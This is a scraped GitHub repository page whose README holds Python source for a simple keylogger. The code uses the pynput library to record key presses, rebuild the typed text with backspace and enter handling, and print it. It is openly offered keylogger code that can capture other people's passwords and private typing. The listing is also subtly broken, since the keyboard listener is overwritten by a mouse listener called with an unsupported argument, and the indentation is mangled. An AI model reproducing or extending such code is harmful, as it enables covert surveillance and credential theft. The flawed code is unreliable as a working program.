Skip to content

This is a key-logger that I created by resesrching online on what keystrokes should be captured when typing

Notifications You must be signed in to change notification settings

mwaura69/Simple-python-key-logger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

import pynput plus = ""

def order(letters): global plus

try:
    plus+= str(letters.char)


except AttributeError:
    if letters == letters.space:
        plus += " "


    elif letters == letters.backspace:
        number = len(plus)
        number -= 1
        value = 0
        equal = ""

        while number > value:
            equal += plus[value]
            value += 1
        plus = equal

    elif letters == letters.enter:
        plus += "\n"

    else:

        plus += str(letters)
    print(plus)

Listening = pynput.keyboard.Listener(on_press=order) Listening = pynput.mouse.Listener(on_press=order)

with Listening: Listening.join()

About

This is a key-logger that I created by resesrching online on what keystrokes should be captured when typing

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published